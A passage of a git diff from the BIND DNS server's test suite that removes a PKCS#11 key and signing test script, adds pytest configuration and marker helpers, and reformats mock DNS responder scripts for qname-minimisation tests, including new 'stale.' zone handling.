-count_rrsigs() (
-    grep -c "IN[[:space:]]*RRSIG" "$@" || true
-)
-
-dig_with_opts() (
-    $DIG +tcp +noadd +nosea +nostat +nocmd +dnssec -p "$PORT" "$@"
-)
-
-dig_for_rr() (
-    alg=$1
-    rrtype=$2
-    count0=$3
-    dig_with_opts "$alg.example." @10.53.0.1 "$rrtype" > "dig.out.$rrtype.$alg" &&
-    count=$(count_rrsigs "dig.out.$rrtype.$alg") &&
-    test "$count" -gt "$count0"
-)
-
-test_done() {
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-    ret=0
-}
-
-status=0
-ret=0
-
-n=0
-while read -r alg; do
-    zonefile=ns1/$alg.example.db
-    echo_i "testing PKCS#11 key generation ($alg)"
-    count=$($PK11LIST | grep -c "pkcs11-$alg-ksk" || true)
-    [ "$count" -eq 4 ] || ret=1
-    test_done
-
-    echo_i "testing offline signing with PKCS#11 keys ($alg)"
-
-    count=$(grep -c "[0-9][[:space:]]*RRSIG" "$zonefile.signed")
-    [ "$count" -eq 9 ] || ret=1
-    test_done
-
-    echo_i "testing inline signing with new PKCS#11 ZSK ($alg)"
-
-    dig_with_opts "$alg.example." @10.53.0.1 "SOA" > "dig.out.SOA.$alg.0" || ret=1
-    countSOA0=$(count_rrsigs "dig.out.SOA.$alg.0")
-    new_zsk=$(grep -v ';' "ns1/$alg.zsk")
-
-    cat > "upd.cmd.ZSK.$alg" <<EOF
-server 10.53.0.1 $PORT
-ttl 300
-zone $alg.example.
-update add $new_zsk
-send
-EOF
-
-    $NSUPDATE -v > "upd.log.ZSK.$alg" < "upd.cmd.ZSK.$alg" || ret=1
-
-    retry_quiet 20 dig_for_rr "$alg" "SOA" "$countSOA0" || ret=1
-    test_done
-
-    echo_i "testing inline signing with new PKCS#11 KSK ($alg)"
-
-    dig_with_opts "$alg.example." @10.53.0.1 "DNSKEY" > "dig.out.DNSKEY.$alg.0" || ret=1
-    countDNSKEY0=$(count_rrsigs "dig.out.DNSKEY.$alg.0")
-    new_ksk=$(grep -v ';' "ns1/$alg.ksk")
-
-    cat > "upd.cmd.KSK.$alg" <<EOF
-server 10.53.0.1 $PORT
-ttl 300
-zone $alg.example.
-update add $new_ksk
-send
-EOF
-
-    $NSUPDATE -v > "upd.log.KSK.$alg" < "upd.cmd.KSK.$alg" || ret=1
-
-    retry_quiet 20 dig_for_rr "$alg" "DNSKEY" "$countDNSKEY0" || ret=1
-    test_done
-
-    echo_i "testing PKCS#11 key destroy ($alg)"
-
-    # Lookup all existing keys
-    echo_i "looking up all existing keys ($alg)"
-    $PK11LIST > "pkcs11-list.out.id.$alg" || ret=1
-    test_done
-
-    echo_i "destroying key with 'pkcs11-$alg-ksk1' label ($alg)"
-    $PK11DEL -l "pkcs11-$alg-ksk1" > /dev/null 2>&1 || ret=1
-    test_done
-
-    echo_i "destroying key with 'pkcs11-$alg-zsk1' label ($alg)"
-    $PK11DEL -l "pkcs11-$alg-zsk1" > /dev/null 2>&1 || ret=1
-    test_done
-
-    id=$(awk -v label="'pkcs11-$alg-ksk2'" '{ if ($7 == label) { print $9; exit; } }' < "pkcs11-list.out.id.$alg")
-    echo_i "destroying key with $id id ($alg)"
-    if [ -n "$id" ]; then
-	$PK11DEL -i "$id" > /dev/null 2>&1 || ret=1
-    else
-	ret=1
-    fi
-    test_done
-
-    id=$(awk -v label="'pkcs11-$alg-zsk2'" '{ if ($7 == label) { print $9; exit; } }' < "pkcs11-list.out.id.$alg")
-    echo_i "destroying key with $id id ($alg)"
-    if [ -n "$id" ]; then
-	$PK11DEL -i "$id" > /dev/null 2>&1 || ret=1
-    else
-	ret=1
-    fi
-    test_done
-
-    echo_i "checking if all keys have been destroyed ($alg)"
-    $PK11LIST > "pkcs11-list.out.$alg" || ret=1
-    count=$(grep -c "pkcs11-$alg-[kz]sk[0-9]*" "pkcs11-list.out.$alg" || true)
-    [ "$count" -eq 0 ] || ret=1
-    test_done
-    n=$((n+1))
-done < supported
-
-echo_i "Checking if all supported algorithms were tested"
-[ "$n" -eq "$(wc -l < supported)" ] || ret=1
-test_done
-
-echo_i "Checking for assertion failure in pk11_numbits()"
-$PERL ../packet.pl -a "10.53.0.1" -p "$PORT" -t udp 2037-pk11_numbits-crash-test.pkt
-dig_with_opts @10.53.0.1 version.bind. CH TXT > dig.out.pk11_numbits || ret=1
-test_done
-
-echo_i "exit status: $status"
-[ "$status" -eq 0 ] || exit 1
diff --git a/bin/tests/system/pkcs11/usepkcs11 b/bin/tests/system/pkcs11/usepkcs11
deleted file mode 100644
index ef4641287c..0000000000
--- a/bin/tests/system/pkcs11/usepkcs11
+++ /dev/null
@@ -1 +0,0 @@
-This test relies on PKCS#11!
diff --git a/bin/tests/system/pytest.ini b/bin/tests/system/pytest.ini
new file mode 100644
index 0000000000..1559595852
--- /dev/null
+++ b/bin/tests/system/pytest.ini
@@ -0,0 +1,20 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+[pytest]
+addopts = --tb=short -rA
+log_format = %(asctime)s %(levelname)s:%(name)s %(message)s
+log_date_format = %Y-%m-%d %H:%M:%S
+log_cli = 1
+log_level = INFO
+python_files = tests_*.py
+junit_logging = log
+junit_log_passing_tests = 0
diff --git a/bin/tests/system/pytest_custom_markers.py b/bin/tests/system/pytest_custom_markers.py
new file mode 100644
index 0000000000..ba3a9d4894
--- /dev/null
+++ b/bin/tests/system/pytest_custom_markers.py
@@ -0,0 +1,60 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import os
+import subprocess
+
+import pytest
+
+
+long_test = pytest.mark.skipif(
+    not os.environ.get("CI_ENABLE_ALL_TESTS"), reason="CI_ENABLE_ALL_TESTS not set"
+)
+
+
+def feature_test(feature):
+    feature_test_bin = os.environ["FEATURETEST"]
+    try:
+        subprocess.run([feature_test_bin, feature], check=True)
+    except subprocess.CalledProcessError as exc:
+        if exc.returncode != 1:
+            raise
+        return False
+    return True
+
+
+have_libxml2 = pytest.mark.skipif(
+    not feature_test("--have-libxml2"), reason="libxml2 support disabled in the build"
+)
+
+have_json_c = pytest.mark.skipif(
+    not feature_test("--have-json-c"), reason="json-c support disabled in the build"
+)
+
+
+try:
+    import flaky as flaky_pkg
+except ModuleNotFoundError:
+    # In case the flaky package is not installed, run the tests as usual
+    # without any attempts to re-run them.
+    # pylint: disable=unused-argument
+    def flaky(*args, **kwargs):
+        """Mock decorator that doesn't do anything special, just returns the function."""
+
+        def wrapper(wrapped_obj):
+            return wrapped_obj
+
+        return wrapper
+
+else:
+    flaky = flaky_pkg.flaky
diff --git a/bin/tests/system/qmin/ans2/ans.py b/bin/tests/system/qmin/ans2/ans.py
index 730495eddb..1994ff35db 100755
--- a/bin/tests/system/qmin/ans2/ans.py
+++ b/bin/tests/system/qmin/ans2/ans.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 from __future__ import print_function
 import os
@@ -31,6 +31,11 @@ def logquery(type, qname):
     with open("qlog", "a") as f:
         f.write("%s %s\n", type, qname)
 
+
+def endswith(domain, labels):
+    return domain.endswith("." + labels) or domain == labels
+
+
 ############################################################################
 # Respond to a DNS query.
 # For good. it serves:
@@ -51,12 +56,18 @@ def logquery(type, qname):
 # 8.2.6.0.1.0.0.2.ip6.arpa IN NS ns3.good
 # 1.0.0.2.ip6.arpa. IN NS ns2.good
 # ip6.arpa. IN NS ns2.good
+#
+# For stale. it serves:
+# a.b. NS ns.a.b.stale.
+# ns.a.b.stale. IN A 10.53.0.3
+# b. NS ns.b.stale.
+# ns.b.stale. IN A 10.53.0.4
 ############################################################################
 def create_response(msg):
     m = dns.message.from_wire(msg)
     qname = m.question[0].name.to_text()
     lqname = qname.lower()
-    labels = lqname.split('.')
+    labels = lqname.split(".")
 
     # get qtype
     rrtype = m.question[0].rdtype
@@ -75,57 +86,157 @@ def create_response(msg):
     r = dns.message.make_response(m)
     r.set_rcode(NOERROR)
 
-    if lqname.endswith("1.0.0.2.ip6.arpa."):
+    if endswith(lqname, "1.0.0.2.ip6.arpa."):
         # Direct query - give direct answer
-        if lqname.endswith("8.2.6.0.1.0.0.2.ip6.arpa."):
+        if endswith(lqname, "8.2.6.0.1.0.0.2.ip6.arpa."):
             # Delegate to ns3
-            r.authority.append(dns.rrset.from_text("8.2.6.0.1.0.0.2.ip6.arpa.", 60, IN, NS, "ns3.good."))
-            r.additional.append(dns.rrset.from_text("ns3.good.", 60, IN, A, "10.53.0.3"))
-        elif lqname == "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa." and rrtype == PTR:
+            r.authority.append(
+                dns.rrset.from_text(
+                    "8.2.6.0.1.0.0.2.ip6.arpa.", 60, IN, NS, "ns3.good."
+                )
+            )
+            r.additional.append(
+                dns.rrset.from_text("ns3.good.", 60, IN, A, "10.53.0.3")
+            )
+        elif (
+            lqname
+            == "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa."
+            and rrtype == PTR
+        ):
             # Direct query - give direct answer
-            r.answer.append(dns.rrset.from_text("1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa.", 1, IN, PTR, "nee.com."))
+            r.answer.append(
+                dns.rrset.from_text(
+                    "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa.",
+                    1,
+                    IN,
+                    PTR,
+                    "nee.com.",
+                )
+            )
             r.flags |= dns.flags.AA
         elif lqname == "1.0.0.2.ip6.arpa." and rrtype == NS:
             # NS query at the apex
-            r.answer.append(dns.rrset.from_text("1.0.0.2.ip6.arpa.", 30, IN, NS, "ns2.good."))
+            r.answer.append(
+                dns.rrset.from_text("1.0.0.2.ip6.arpa.", 30, IN, NS, "ns2.good.")
+            )
             r.flags |= dns.flags.AA
-        elif "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa.".endswith(lqname):
+        elif endswith(
+            "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa.",
+            lqname,
+        ):
             # NODATA answer
-            r.authority.append(dns.rrset.from_text("1.0.0.2.ip6.arpa.", 30, IN, SOA, "ns2.good. hostmaster.arpa. 2018050100 1 1 1 1"))
+            r.authority.append(
+                dns.rrset.from_text(
+                    "1.0.0.2.ip6.arpa.",
+                    30,
+                    IN,
+                    SOA,
+                    "ns2.good. hostmaster.arpa. 2018050100 1 1 1 1",
+                )
+            )
         else:
             # NXDOMAIN
-            r.authority.append(dns.rrset.from_text("1.0.0.2.ip6.arpa.", 30, IN, SOA, "ns2.good. hostmaster.arpa. 2018050100 1 1 1 1"))
+            r.authority.append(
+                dns.rrset.from_text(
+                    "1.0.0.2.ip6.arpa.",
+                    30,
+                    IN,
+                    SOA,
+                    "ns2.good. hostmaster.arpa. 2018050100 1 1 1 1",
+                )
+            )
             r.set_rcode(NXDOMAIN)
         return r
-    elif lqname.endswith("ip6.arpa."):
+    elif endswith(lqname, "ip6.arpa."):
         if lqname == "ip6.arpa." and rrtype == NS:
             # NS query at the apex
             r.answer.append(dns.rrset.from_text("ip6.arpa.", 30, IN, NS, "ns2.good."))
             r.flags |= dns.flags.AA
-        elif "1.0.0.2.ip6.arpa.".endswith(lqname):
+        elif endswith("1.0.0.2.ip6.arpa.", lqname):
             # NODATA answer
-            r.authority.append(dns.rrset.from_text("ip6.arpa.", 30, IN, SOA, "ns2.good. hostmaster.arpa. 2018050100 1 1 1 1"))
+            r.authority.append(
+                dns.rrset.from_text(
+                    "ip6.arpa.",
+                    30,
+                    IN,
+                    SOA,
+                    "ns2.good. hostmaster.arpa. 2018050100 1 1 1 1",
+                )
+            )
         else:
             # NXDOMAIN
-            r.authority.append(dns.rrset.from_text("ip6.arpa.", 30, IN, SOA, "ns2.good. hostmaster.arpa. 2018050100 1 1 1 1"))
+            r.authority.append(
+                dns.rrset.from_text(
+                    "ip6.arpa.",
+                    30,
+                    IN,
+                    SOA,
+                    "ns2.good. hostmaster.arpa. 2018050100 1 1 1 1",
+                )
+            )
             r.set_rcode(NXDOMAIN)
         return r
-    elif lqname.endswith("bad."):
+    elif endswith(lqname, "stale."):
+        if endswith(lqname, "a.b.stale."):
+            # Delegate to ns.a.b.stale.
+            r.authority.append(
+                dns.rrset.from_text("a.b.stale.", 2, IN, NS, "ns.a.b.stale.")
+            )
+            r.additional.append(
+                dns.rrset.from_text("ns.a.b.stale.", 2, IN, A, "10.53.0.3")
+            )
+        elif endswith(lqname, "b.stale."):
+            # Delegate to ns.b.stale.
+            r.authority.append(
+                dns.rrset.from_text("b.stale.", 2, IN, NS, "ns.b.stale.")
+            )
+            r.additional.append(
+                dns.rrset.from_text("ns.b.stale.", 2, IN, A, "10.53.0.4")
+            )
+        elif lqname == "stale." and rrtype == NS:
+            # NS query at the apex.
+            r.answer.append(dns.rrset.from_text("stale.", 2, IN, NS, "ns2.stale."))
+            r.flags |= dns.flags.AA
+        elif lqname == "stale." and rrtype == SOA:
+            # SOA query at the apex.
+            r.answer.append(
+                dns.rrset.from_text(
+                    "stale.", 2, IN, SOA, "ns2.stale. hostmaster.stale. 1 2 3 4 5"
+                )
+            )
+            r.flags |= dns.flags.AA
+        elif lqname == "stale.":
+            # NODATA answer
+            r.authority.append(
+                dns.rrset.from_text(
+                    "stale.", 2, IN, SOA, "ns2.stale. hostmaster.arpa. 1 2 3 4 5"
+                )
+            )
+        else:
+            # NXDOMAIN
+            r.authority.append(
+                dns.rrset.from_text(
+                    "stale.", 2, IN, SOA, "ns2.stale. hostmaster.arpa. 1 2 3 4 5"
+                )
+            )
+            r.set_rcode(NXDOMAIN)
+        return r
+    elif endswith(lqname, "bad."):
         bad = True
         suffix = "bad."
         lqname = lqname[:-4]
-    elif lqname.endswith("ugly."):
+    elif endswith(lqname, "ugly."):
         ugly = True
         suffix = "ugly."
         lqname = lqname[:-5]
-    elif lqname.endswith("good."):
+    elif endswith(lqname, "good."):
         suffix = "good."
         lqname = lqname[:-5]
-    elif lqname.endswith("slow."):
+    elif endswith(lqname, "slow."):
         slow = True
         suffix = "slow."
         lqname = lqname[:-5]
-    elif lqname.endswith("fwd."):
+    elif endswith(lqname, "fwd."):
         suffix = "fwd."
         lqname = lqname[:-4]
     else:
@@ -133,44 +244,73 @@ def create_response(msg):
         return r
 
     # Good/bad/ugly differs only in how we treat non-empty terminals
-    if lqname.endswith("zoop.boing."):
-        r.authority.append(dns.rrset.from_text("zoop.boing." + suffix, 1, IN, NS, "ns3." + suffix))
-    elif lqname == "many.labels.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z." and rrtype == A:
+    if endswith(lqname, "zoop.boing."):
+        r.authority.append(
+            dns.rrset.from_text("zoop.boing." + suffix, 1, IN, NS, "ns3." + suffix)
+        )
+    elif (
+        lqname == "many.labels.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z."
+        and rrtype == A
+    ):
         r.answer.append(dns.rrset.from_text(lqname + suffix, 1, IN, A, "192.0.2.2"))
         r.flags |= dns.flags.AA
     elif lqname == "" and rrtype == NS:
         r.answer.append(dns.rrset.from_text(suffix, 30, IN, NS, "ns2." + suffix))
         r.flags |= dns.flags.AA
     elif lqname == "ns2." and rrtype == A:
-        r.answer.append(dns.rrset.from_text("ns2."+suffix, 30, IN, A, "10.53.0.2"))
+        r.answer.append(dns.rrset.from_text("ns2." + suffix, 30, IN, A, "10.53.0.2"))
         r.flags |= dns.flags.AA
     elif lqname == "ns2." and rrtype == AAAA:
-        r.answer.append(dns.rrset.from_text("ns2."+suffix, 30, IN, AAAA, "fd92:7065:b8e:ffff::2"))
+        r.answer.append(
+            dns.rrset.from_text("ns2." + suffix, 30, IN, AAAA, "fd92:7065:b8e:ffff::2")
+        )
         r.flags |= dns.flags.AA
     elif lqname == "ns3." and rrtype == A:
-        r.answer.append(dns.rrset.from_text("ns3."+suffix, 30, IN, A, "10.53.0.3"))
+        r.answer.append(dns.rrset.from_text("ns3." + suffix, 30, IN, A, "10.53.0.3"))
         r.flags |= dns.flags.AA
     elif lqname == "ns3." and rrtype == AAAA:
-        r.answer.append(dns.rrset.from_text("ns3."+suffix, 30, IN, AAAA, "fd92:7065:b8e:ffff::3"))
+        r.answer.append(
+            dns.rrset.from_text("ns3." + suffix, 30, IN, AAAA, "fd92:7065:b8e:ffff::3")
+        )
         r.flags |= dns.flags.AA
     elif lqname == "ns4." and rrtype == A:
-        r.answer.append(dns.rrset.from_text("ns4."+suffix, 30, IN, A, "10.53.0.4"))
+        r.answer.append(dns.rrset.from_text("ns4." + suffix, 30, IN, A, "10.53.0.4"))
         r.flags |= dns.flags.AA
     elif lqname == "ns4." and rrtype == AAAA:
-        r.answer.append(dns.rrset.from_text("ns4."+suffix, 30, IN, AAAA, "fd92:7065:b8e:ffff::4"))
+        r.answer.append(
+            dns.rrset.from_text("ns4." + suffix, 30, IN, AAAA, "fd92:7065:b8e:ffff::4")
+        )
         r.flags |= dns.flags.AA
     elif lqname == "a.bit.longer.ns.name." and rrtype == A:
-        r.answer.append(dns.rrset.from_text("a.bit.longer.ns.name."+suffix, 1, IN, A, "10.53.0.4"))
+        r.answer.append(
+            dns.rrset.from_text("a.bit.longer.ns.name." + suffix, 1, IN, A, "10.53.0.4")
+        )
         r.flags |= dns.flags.AA
     elif lqname == "a.bit.longer.ns.name." and rrtype == AAAA:
-        r.answer.append(dns.rrset.from_text("a.bit.longer.ns.name."+suffix, 1, IN, AAAA, "fd92:7065:b8e:ffff::4"))
+        r.answer.append(
+            dns.rrset.from_text(
+                "a.bit.longer.ns.name." + suffix, 1, IN, AAAA, "fd92:7065:b8e:ffff::4"
+            )
+        )
         r.flags |= dns.flags.AA
     else:
-        r.authority.append(dns.rrset.from_text(suffix, 1, IN, SOA, "ns2." + suffix + " hostmaster.arpa. 2018050100 1 1 1 1"))
-        if bad or not \
-            ("icky.icky.icky.ptang.zoop.boing.".endswith(lqname) or \
-             "many.labels.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.".endswith(lqname) or \
-             "a.bit.longer.ns.name.".endswith(lqname)):
+        r.authority.append(
+            dns.rrset.from_text(
+                suffix,
+                1,
+                IN,
+                SOA,
+                "ns2." + suffix + " hostmaster.arpa. 2018050100 1 1 1 1",
+            )
+        )
+        if bad or not (
+            endswith("icky.icky.icky.ptang.zoop.boing.", lqname)
+            or endswith(
+                "many.labels.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.",
+                lqname,
+            )
+            or endswith("a.bit.longer.ns.name.", lqname)
+        ):
             r.set_rcode(NXDOMAIN)
         if ugly:
             r.set_rcode(FORMERR)
@@ -180,11 +320,12 @@ def create_response(msg):
 
 
 def sigterm(signum, frame):
-    print ("Shutting down now...")
-    os.remove('ans.pid')
+    print("Shutting down now...")
+    os.remove("ans.pid")
     running = False
     sys.exit(0)
 
+
 ############################################################################
 # Main
 #
@@ -195,8 +336,10 @@ def sigterm(signum, frame):
 ip4 = "10.53.0.2"
 ip6 = "fd92:7065:b8e:ffff::2"
 
-try: port=int(os.environ['PORT'])
-except: port=5300
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
 
 query4_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 query4_socket.bind((ip4, port))
@@ -214,17 +357,17 @@ def sigterm(signum, frame):
 
 signal.signal(signal.SIGTERM, sigterm)
 
-f = open('ans.pid', 'w')
+f = open("ans.pid", "w")
 pid = os.getpid()
-print (pid, file=f)
+print(pid, file=f)
 f.close()
 
 running = True
 
-print ("Listening on %s port %d" % (ip4, port))
+print("Listening on %s port %d" % (ip4, port))
 if havev6:
-    print ("Listening on %s port %d" % (ip6, port))
-print ("Ctrl-c to quit")
+    print("Listening on %s port %d" % (ip6, port))
+print("Ctrl-c to quit")
 
 if havev6:
     input = [query4_socket, query6_socket]
@@ -243,8 +386,9 @@ def sigterm(signum, frame):
 
     for s in inputready:
         if s == query4_socket or s == query6_socket:
-            print ("Query received on %s" %
-                    (ip4 if s == query4_socket else ip6), end=" ")
+            print(
+                "Query received on %s" % (ip4 if s == query4_socket else ip6), end=" "
+            )
             # Handle incoming queries
             msg = s.recvfrom(65535)
             rsp = create_response(msg[0])
diff --git a/bin/tests/system/qmin/ans3/ans.py b/bin/tests/system/qmin/ans3/ans.py
index d8c7766950..079c3d2cda 100755
--- a/bin/tests/system/qmin/ans3/ans.py
+++ b/bin/tests/system/qmin/ans3/ans.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 from __future__ import print_function
 import os
@@ -31,6 +31,11 @@ def logquery(type, qname):
     with open("qlog", "a") as f:
         f.write("%s %s\n", type, qname)
 
+
+def endswith(domain, labels):
+    return domain.endswith("." + labels) or domain == labels
+
+
 ############################################################################
 # Respond to a DNS query.
 # For good. it serves:
@@ -43,12 +48,16 @@ def logquery(type, qname):
 # For bad. it works the same as for good., but returns NXDOMAIN to non-empty terminals
 #
 # For ugly. it works the same as for good., but returns garbage to non-empty terminals
+#
+# For stale. it serves:
+# a.b.stale. IN TXT peekaboo (resolver did not do qname minimization)
 ############################################################################
 def create_response(msg):
     m = dns.message.from_wire(msg)
     qname = m.question[0].name.to_text()
     lqname = qname.lower()
-    labels = lqname.split('.')
+    labels = lqname.split(".")
+    suffix = ""
 
     # get qtype
     rrtype = m.question[0].rdtype
@@ -69,44 +78,111 @@ def create_response(msg):
 
     ip6req = False
 
-    if lqname.endswith("bad."):
+    if endswith(lqname, "bad."):
         bad = True
         suffix = "bad."
         lqname = lqname[:-4]
-    elif lqname.endswith("ugly."):
+    elif endswith(lqname, "ugly."):
         ugly = True
         suffix = "ugly."
         lqname = lqname[:-5]
-    elif lqname.endswith("good."):
+    elif endswith(lqname, "good."):
         suffix = "good."
         lqname = lqname[:-5]
-    elif lqname.endswith("slow."):
+    elif endswith(lqname, "slow."):
         slow = True
         suffix = "slow."
         lqname = lqname[:-5]
-    elif lqname.endswith("8.2.6.0.1.0.0.2.ip6.arpa."):
-        ip6req = True 
+    elif endswith(lqname, "8.2.6.0.1.0.0.2.ip6.arpa."):
+        ip6req = True
+    elif endswith(lqname, "a.b.stale."):
+        if lqname == "a.b.stale.":
+            if rrtype == TXT:
+                # Direct query.
+                r.answer.append(dns.rrset.from_text(lqname, 1, IN, TXT, "peekaboo"))
+                r.flags |= dns.flags.AA
+            elif rrtype == NS:
+                # NS a.b.
+                r.answer.append(dns.rrset.from_text(lqname, 1, IN, NS, "ns.a.b.stale."))
+                r.additional.append(
+                    dns.rrset.from_text("ns.a.b.stale.", 1, IN, A, "10.53.0.3")
+                )
+                r.flags |= dns.flags.AA
+            elif rrtype == SOA:
+                # SOA a.b.
+                r.answer.append(
+                    dns.rrset.from_text(
+                        lqname, 1, IN, SOA, "a.b.stale. hostmaster.a.b.stale. 1 2 3 4 5"
+                    )
+                )
+                r.flags |= dns.flags.AA
+            else:
+                # NODATA.
+                r.authority.append(
+                    dns.rrset.from_text(
+                        lqname, 1, IN, SOA, "a.b.stale. hostmaster.a.b.stale. 1 2 3 4 5"
+                    )
+                )
+        else:
+            r.authority.append(
+                dns.rrset.from_text(
+                    lqname, 1, IN, SOA, "a.b.stale. hostmaster.a.b.stale. 1 2 3 4 5"
+                )
+            )
+            r.set_rcode(NXDOMAIN)
+            # NXDOMAIN.
+        return r
     else:
         r.set_rcode(REFUSED)
         return r
 
     # Good/bad differs only in how we treat non-empty terminals
     if lqname == "zoop.boing." and rrtype == NS:
-        r.answer.append(dns.rrset.from_text(lqname + suffix, 1, IN, NS, "ns3."+suffix))
+        r.answer.append(
+            dns.rrset.from_text(lqname + suffix, 1, IN, NS, "ns3." + suffix)
+        )
         r.flags |= dns.flags.AA
-    elif lqname.endswith("icky.ptang.zoop.boing."):
-        r.authority.append(dns.rrset.from_text("icky.ptang.zoop.boing." + suffix, 1, IN, NS, "a.bit.longer.ns.name." + suffix))
-    elif "icky.ptang.zoop.boing.".endswith(lqname):
-        r.authority.append(dns.rrset.from_text("zoop.boing." + suffix, 1, IN, SOA, "ns3." + suffix + " hostmaster.arpa. 2018050100 1 1 1 1"))
+    elif endswith(lqname, "icky.ptang.zoop.boing."):
+        r.authority.append(
+            dns.rrset.from_text(
+                "icky.ptang.zoop.boing." + suffix,
+                1,
+                IN,
+                NS,
+                "a.bit.longer.ns.name." + suffix,
+            )
+        )
+    elif endswith("icky.ptang.zoop.boing.", lqname):
+        r.authority.append(
+            dns.rrset.from_text(
+                "zoop.boing." + suffix,
+                1,
+                IN,
+                SOA,
+                "ns3." + suffix + " hostmaster.arpa. 2018050100 1 1 1 1",
+            )
+        )
         if bad:
             r.set_rcode(NXDOMAIN)
         if ugly:
             r.set_rcode(FORMERR)
-    elif lqname.endswith("zoop.boing."):
-        r.authority.append(dns.rrset.from_text("zoop.boing." + suffix, 1, IN, SOA, "ns3." + suffix + " hostmaster.arpa. 2018050100 1 1 1 1"))
+    elif endswith(lqname, "zoop.boing."):
+        r.authority.append(
+            dns.rrset.from_text(
+                "zoop.boing." + suffix,
+                1,
+                IN,
+                SOA,
+                "ns3." + suffix + " hostmaster.arpa. 2018050100 1 1 1 1",
+            )
+        )
         r.set_rcode(NXDOMAIN)
     elif ip6req:
-        r.authority.append(dns.rrset.from_text("1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.", 60, IN, NS, "ns4.good."))
+        r.authority.append(
+            dns.rrset.from_text(
+                "1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.", 60, IN, NS, "ns4.good."
+            )
+        )
         r.additional.append(dns.rrset.from_text("ns4.good.", 60, IN, A, "10.53.0.4"))
     else:
         r.set_rcode(REFUSED)
@@ -117,11 +193,12 @@ def create_response(msg):
 
 
 def sigterm(signum, frame):
-    print ("Shutting down now...")
-    os.remove('ans.pid')
+    print("Shutting down now...")
+    os.remove("ans.pid")
     running = False
     sys.exit(0)
 
+
 ############################################################################
 # Main
 #
@@ -132,8 +209,10 @@ def sigterm(signum, frame):
 ip4 = "10.53.0.3"
 ip6 = "fd92:7065:b8e:ffff::3"
 
-try: port=int(os.environ['PORT'])
-except: port=5300
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
 
 query4_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 query4_socket.bind((ip4, port))
@@ -151,17 +230,17 @@ def sigterm(signum, frame):
 
 signal.signal(signal.SIGTERM, sigterm)
 
-f = open('ans.pid', 'w')
+f = open("ans.pid", "w")
 pid = os.getpid()
-print (pid, file=f)
+print(pid, file=f)
 f.close()
 
 running = True
 
-print ("Listening on %s port %d" % (ip4, port))
+print("Listening on %s port %d" % (ip4, port))
 if havev6:
-    print ("Listening on %s port %d" % (ip6, port))
-print ("Ctrl-c to quit")
+    print("Listening on %s port %d" % (ip6, port))
+print("Ctrl-c to quit")
 
 if havev6:
     input = [query4_socket, query6_socket]
@@ -180,8 +259,9 @@ def sigterm(signum, frame):
 
     for s in inputready:
         if s == query4_socket or s == query6_socket:
-            print ("Query received on %s" %
-                    (ip4 if s == query4_socket else ip6), end=" ")
+            print(
+                "Query received on %s" % (ip4 if s == query4_socket else ip6), end=" "
+            )
             # Handle incoming queries
             msg = s.recvfrom(65535)
             rsp = create_response(msg[0])
diff --git a/bin/tests/system/qmin/ans4/ans.py b/bin/tests/system/qmin/ans4/ans.py
index b5a993c320..f3d00c3514 100755
--- a/bin/tests/system/qmin/ans4/ans.py
+++ b/bin/tests/system/qmin/ans4/ans.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
